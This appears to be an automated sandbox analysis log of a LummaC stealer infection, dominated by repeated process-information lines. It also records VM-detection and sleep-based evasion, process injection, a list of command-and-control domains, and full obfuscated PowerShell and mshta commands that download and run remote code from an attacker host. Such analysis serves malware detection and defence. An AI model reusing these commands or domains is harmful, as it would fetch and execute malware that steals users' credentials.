Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3309	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1190	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4666	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5076	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4508	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3132	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3576	Thread sleep time: -18446744073709540s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 364	Thread sleep time: -120000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000004.00000002.2185543861.0000000002E69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\5
Source: mshta.exe, 00000000.00000002.2217844344.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}@Z
Source: powershell.exe, 00000016.00000002.3666329574.0000000002C75000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000004.00000002.2194620973.00000000074B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}C
Source: powershell.exe, 00000016.00000002.3663856176.0000000002C3C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: powershell.exe, 00000006.00000002.3511198513.0000000007618000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 22_2_0043C160 LdrInitializeThunk,

22_2_0043C160

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlsx';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'G*Cm*t'}).Name).Invoke($ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name)|GM|Where-Object{(DIR Variable:\_).Value.Name-like'*Com*e'}).Name).Invoke('*w-*ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value|GM)|Where-Object{(DIR Variable:\_).Value.Name-like'*wn*g'}).Name);($ExecutionContext|ForEach{(DIR Variable:\_).Value.(($ExecutionContext|GM)[6].Name)|ForEach{$_.(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'*w*i*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke()

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: powershell.exe	String found in binary or memory: rapeflowwj.lat
Source: powershell.exe	String found in binary or memory: crosshuaht.lat
Source: powershell.exe	String found in binary or memory: sustainskelet.lat
Source: powershell.exe	String found in binary or memory: aspecteirs.lat
Source: powershell.exe	String found in binary or memory: energyaffai.lat
Source: powershell.exe	String found in binary or memory: necklacebudi.lat
Source: powershell.exe	String found in binary or memory: discokeyus.lat
Source: powershell.exe	String found in binary or memory: grannyejh.lat
Source: powershell.exe	String found in binary or memory: learningypr.click

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function htXbx($EYwy){return -split ($EYwy -replace '..', '0x$& ')};$sMkL = htXbx('0F7A7222E17CFB1BB92172CFD10B1A0A35F2D236DE6DD8D72D66B13FEDB4D7CF6A19FA5E844D4EA4BDA294B8324F3D40BBE3A32FA2F602F7EEC40E64690703556F440E32E54DB889F70490BFAB024711BA156E7EF3961FB117120CBA4913EA1E5D84ACF6F55EBA7C85C4EDEAE94CA6F88E91D98428FF8C02DEA04EB6BC87CD7054DA2412B8E711F8C1A790EDD10E33300549B54953E993973674C4C6B322DF9A94608D0E38BF1B68335F96BFDC063A0ACAC3F5674C4FB62FD421AFD6B98437F6E9805448603B36D23A3100350C5424A024DEBEE06EFCCB25BC5C2ED9E55F0ECDF8D82A5F5B3DDE3DD01D9414613DC77C41FF3714787CA86BAB941A84FA1697BFD67AE1442E846F4C0BCD12067B97F4C4761C790D99134685BD29D33EB13930E881348CCEB581A392F1C4D3A954998DE262A182E3BA192BC030972631DFF7761B192A8E761FB393F15CEC5503F481993757B7386A6DEFCB30893CB5510F8D9DFCD357A4503657121993C1DA20619FC16A76829A33DC8BEC2C25B345E40D743AE3FA6908A2256106EDB3D401A541BBC6B63D25361ED338A28142AEDFD2E2AFA4224709FD2AB99578CAD2D426AC01B625107469B2CFC6F80544CD0418A85DF7B0034592F05C391690F1CB1F0E38C8C36984958B671982168DA7FCD4BA7B76DA7D1F52FBD0449C19027B914FDE6DE5FAAA8CB6BF3F2A4274A8F5CCEED4E85FE2BAE43E079DB816A326CFEC5CF89E8BDA8C7656D7ABB681564558044E3E53669EE9994092F98411AB22F4889A3454BB3DA6791DB0F9C47830F4C06A5461824C4CD5AF8028E685AAA4298897434D4728EDCF0C7F21C0C4A773C3B93B8D500AD8247E5F882A6D58627B2848A409F59326CE2F3C94419453CBD81D72A42EFC7700BF0F755EBF04E26ADC65680A8AB81DC31B386413F68BDCDF1C0851EABFB0BBAE9CCC1EEC68F50A6C1E0D56474F854AE2306A1E2A3F8B94A0127DD3E51C4A536048EF14CDBF4B53A4E0C3EEFEFA4EED2CFE4541E54F2D69773940D13F9015002C0555FDC45820883EE8D40D25214D7139E6E12032C2BFE100C55FA40524F297C439B1A01353D2284C6CEF35AC57E4400EDA829B3E642624CDFA0BC2973809DC3345E9E56C2D1156147CEA34B91CFFF59896E54208B4CFD4207A17F7308C33D76C6413AB80C8D92695DDC466BC03F75D4179A7F1740B7A3E5A6C6D80F2FB8D74FFB55BD62E27D14A6503857D18986D8E19A1D8E35AD79FEE150ABE148D1B1C3E2D9D92C0B0BDF7DE18DFF55FD02B3212CC62401C8900CAECAAADE5361BFC807F5384EEA46BABDA1F2032769CDA2B56A725574AD832150B7026D06D0547D37743BD92A3253A6BE7C4BE7457307E6CDE57B7840C35ECC06809A8FA8BF2351601EA6C1E3A025BA6CD107626BBF16CFED99355A4AC130AD2BEF7D8E3B1D936DC4D667BAE44082E02E0251C2355712885575901AEFDC0139AA662D0B9C4ACBF7403673B3C7DDF9E6E3AB15A286FC41C2D998ED91EDD22436BA61DD3F3D745E36681712D110962FBD642A2CB901801E7AF328696116A425AC0D6F7C474A297EBC5F89A3C52EE8DB03DE0214B816208AD47E4A4EB4864F152130AEA847AD1031A9DDED4248D031BCE58B447EB0CC8763D2CDBF3348D053D54B42C707D6DE3B3166FBF46CFB8F8AB676945A5D0B7FF4DD2DAF54B40F69592D58649EFE2B1F4CDADC627160733882C0C916DE660976CBCD588F71A3D08308A76F8B82ED698B928D9B2C66911F8A2975942AC360069AC4B4D6C8C7E50E99B0CBD066A58477B4F336F9B12A5FE792E23ED42C6032B887E634ABCA3D08214B16E5953BBD4FFBD057E229E4B7A149D754E75229CD7B38CB289B484AE636864DAFC411FEA976653DC57F0E7B6EA81960AC0059DB8FD2E23F7D92ABD90CDC902BB6F71F0094EF783BB18777A34E0B7531A8C1A945811E9CB1DB684D8	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlsx';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'GCmt'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name)\|GM\|Where-Object{(DIR Variable:\_).Value.Name-like'Come'}).Name).Invoke('w-ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value\|GM)\|Where-Object{(DIR Variable:\_).Value.Name-like'wng'}).Name);($ExecutionContext\|ForEach{(DIR Variable:\_).Value.(($ExecutionContext\|GM)[6].Name)\|ForEach{$_.(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'wi*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke()	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior

